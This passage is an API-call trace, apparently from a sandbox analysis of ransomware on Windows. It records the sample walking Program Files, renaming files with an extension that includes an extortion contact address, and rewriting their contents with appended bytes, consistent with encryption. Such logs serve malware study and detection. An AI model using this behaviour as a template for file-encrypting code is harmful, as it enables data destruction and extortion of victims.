Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-100.png") returned 1 [0243.392] GetProcessHeap () returned 0x630000 [0243.392] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5074) returned 0x6fe3bb0 [0243.392] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterlistsmalltile.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.392] Sleep (dwMilliseconds=0x1) [0243.396] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-150_contrast-white.png", len=0x7d | out: pbstr=0x37fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-150_contrast-white.png") returned 1 [0243.396] GetProcessHeap () returned 0x630000 [0243.396] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5058) returned 0x6fe3bb0 [0243.396] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-150_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterlargetile.scale-150_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.396] Sleep (dwMilliseconds=0x1) [0243.415] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-64_altform-unplated.png", len=0x81 | out: pbstr=0x37fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-64_altform-unplated.png") returned 1 [0243.415] GetProcessHeap () returned 0x630000 [0243.415] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ffc) returned 0x6fe3bb0 [0243.415] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-64_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-64_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.415] Sleep (dwMilliseconds=0x1) [0243.427] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-48_contrast-black.png", len=0x7f | out: pbstr=0x37fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-48_contrast-black.png") returned 1 [0243.427] GetProcessHeap () returned 0x630000 [0243.427] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fe0) returned 0x6fe3bb0 [0243.427] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-48_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-48_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.427] Sleep (dwMilliseconds=0x1) [0243.447] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-24_contrast-white.png", len=0x7f | out: pbstr=0x37fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-24_contrast-white.png") returned 1 [0243.447] GetProcessHeap () returned 0x630000 [0243.447] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f84) returned 0x6fe3bb0 [0243.447] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-24_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-24_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.447] Sleep (dwMilliseconds=0x1) [0243.502] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-20.png", len=0x70 | out: pbstr=0x37fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-20.png") returned 1 [0243.502] GetProcessHeap () returned 0x630000 [0243.502] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f68) returned 0x6fe3bb0 [0243.502] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-20.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-20.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.502] Sleep (dwMilliseconds=0x1) [0243.508] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-150_contrast-black.png", len=0x7b | out: pbstr=0x37fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-150_contrast-black.png") returned 1 [0243.508] GetProcessHeap () returned 0x630000 [0243.508] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f38) returned 0x6fe3bb0 [0243.508] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-150_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.scale-150_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.508] Sleep (dwMilliseconds=0x1) [0243.520] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-100.png", len=0x6c | out: pbstr=0x37fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-100.png") returned 1 [0243.520] GetProcessHeap () returned 0x630000 [0243.520] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f1c) returned 0x6fe3bb0 [0243.521] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-100.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.521] Sleep (dwMilliseconds=0x1) [0243.540] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\Periscope\\periscope-logo-white-text-nobg.png", len=0x7c | out: pbstr=0x37fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\Periscope\\periscope-logo-white-text-nobg.png") returned 1 [0243.540] GetProcessHeap () returned 0x630000 [0243.540] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ee0) returned 0x6fe3bb0 [0243.540] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\Periscope\\periscope-logo-white-text-nobg.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\periscope\\periscope-logo-white-text-nobg.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.540] Sleep (dwMilliseconds=0x1) [0243.567] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql70.xsl", len=0x78 | out: pbstr=0x37fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql70.xsl") returned 1 [0243.567] GetProcessHeap () returned 0x630000 [0243.567] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ec0) returned 0x6fe3bb0 [0243.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\sql70.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0243.614] CloseHandle (hObject=0x4d4) returned 1 [0243.614] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0243.614] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\sql70.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql70.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\sql70.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0243.615] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0243.615] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql70.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffc6c | out: lpFindFileData=0x37ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b0ae4ba, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b0ae4ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0ae4ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e02, dwReserved0=0x390031, dwReserved1=0x380039, cFileName="sql70.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SQL70X~1.FIR")) returned 0x6d5240 [0243.615] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0243.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql70.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\sql70.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0243.616] GetProcessHeap () returned 0x630000 [0243.616] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7e21) returned 0x72b84a0 [0243.616] GetProcessHeap () returned 0x630000 [0243.616] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7e21) returned 0x711d230 [0243.617] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.617] ReadFile (in: hFile=0x4d4, lpBuffer=0x72b84a0, nNumberOfBytesToRead=0x7e00, lpNumberOfBytesRead=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72b84a0*, lpNumberOfBytesRead=0x37fff0c*=0x7e00, lpOverlapped=0x0) returned 1 [0249.693] GetProcessHeap () returned 0x630000 [0249.693] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317838 [0249.694] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.694] WriteFile (in: hFile=0x4d4, lpBuffer=0x711d230*, nNumberOfBytesToWrite=0x7e00, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x711d230*, lpNumberOfBytesWritten=0x37fff0c*=0x7e00, lpOverlapped=0x0) returned 1 [0249.694] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.694] WriteFile (in: hFile=0x4d4, lpBuffer=0x712502f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x712502f*, lpNumberOfBytesWritten=0x37fff0c*=0x20, lpOverlapped=0x0) returned 1 [0249.694] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.694] WriteFile (in: hFile=0x4d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x37fff0c*=0x4, lpOverlapped=0x0) returned 1 [0249.694] CloseHandle (hObject=0x4d4) returned 1 [0249.694] GetProcessHeap () returned 0x630000 [0249.694] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x711d230 | out: hHeap=0x630000) returned 1 [0249.695] GetProcessHeap () returned 0x630000 [0249.695] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72b84a0 | out: hHeap=0x630000) returned 1 [0249.695] GetProcessHeap () returned 0x630000 [0249.695] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317838 | out: hHeap=0x630000) returned 1 [0249.695] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0249.695] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql70.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffcc4 | out: lpFindFileData=0x37ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b0ae4ba, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b0ae4ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5ac69d1b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x7e26, dwReserved0=0xc507496, dwReserved1=0x72b8498, cFileName="sql70.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SQL70X~1.FIR")) returned 0x6d5540 [0249.695] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0249.695] Sleep (dwMilliseconds=0x1) [0254.737] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\RADIAL.ELM", len=0x6c | out: pbstr=0x37fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\RADIAL.ELM") returned 1 [0254.738] GetProcessHeap () returned 0x630000 [0254.738] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d90) returned 0x6fe3bb0 [0254.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\RADIAL.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\radial\\radial.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0254.738] CloseHandle (hObject=0x6a8) returned 1 [0254.738] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0254.739] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\RADIAL.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\radial\\radial.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\RADIAL.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\radial\\radial.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0254.739] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.740] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\RADIAL.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffc6c | out: lpFindFileData=0x37ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb75e, dwReserved0=0x6f0063, dwReserved1=0x74006e, cFileName="RADIAL.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RADIAL~2.FIR")) returned 0x6d4f00 [0254.740] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0254.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\RADIAL.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\radial\\radial.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0254.740] GetProcessHeap () returned 0x630000 [0254.740] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x719ec10 [0254.740] GetProcessHeap () returned 0x630000 [0254.740] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72b84a0 [0254.741] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.741] ReadFile (in: hFile=0x6a8, lpBuffer=0x719ec10, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x719ec10*, lpNumberOfBytesRead=0x37fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0258.734] GetProcessHeap () returned 0x630000 [0258.734] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317ec8 [0258.735] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.735] WriteFile (in: hFile=0x6a8, lpBuffer=0x72b84a0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72b84a0*, lpNumberOfBytesWritten=0x37fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0258.736] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.736] WriteFile (in: hFile=0x6a8, lpBuffer=0x72c389f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72c389f*, lpNumberOfBytesWritten=0x37fff0c*=0x20, lpOverlapped=0x0) returned 1 [0258.736] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.736] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x37fff0c*=0x4, lpOverlapped=0x0) returned 1 [0258.736] CloseHandle (hObject=0x6a8) returned 1 [0258.736] GetProcessHeap () returned 0x630000 [0258.736] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72b84a0 | out: hHeap=0x630000) returned 1 [0258.737] GetProcessHeap () returned 0x630000 [0258.737] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x719ec10 | out: hHeap=0x630000) returned 1 [0258.737] GetProcessHeap () returned 0x630000 [0258.737] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317ec8 | out: hHeap=0x630000) returned 1 [0261.069] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.069] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\RADIAL.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffcc4 | out: lpFindFileData=0x37ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x602b156a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xb782, dwReserved0=0xc507496, dwReserved1=0x719ec08, cFileName="RADIAL.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RADIAL~2.FIR")) returned 0x6d5400 [0261.069] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0261.069] Sleep (dwMilliseconds=0x1) [0261.084] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_BadgeLogo.scale-200.png", len=0x8e | out: pbstr=0x37fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_BadgeLogo.scale-200.png") returned 1 [0261.084] GetProcessHeap () returned 0x630000 [0261.084] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cb8) returned 0x6fe3bb0 [0261.084] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_BadgeLogo.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_badgelogo.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.085] Sleep (dwMilliseconds=0x1) [0261.094] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", len=0x66 | out: pbstr=0x37fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned 1 [0261.094] GetProcessHeap () returned 0x630000 [0261.094] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ca4) returned 0x6fe3bb0 [0261.094] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program 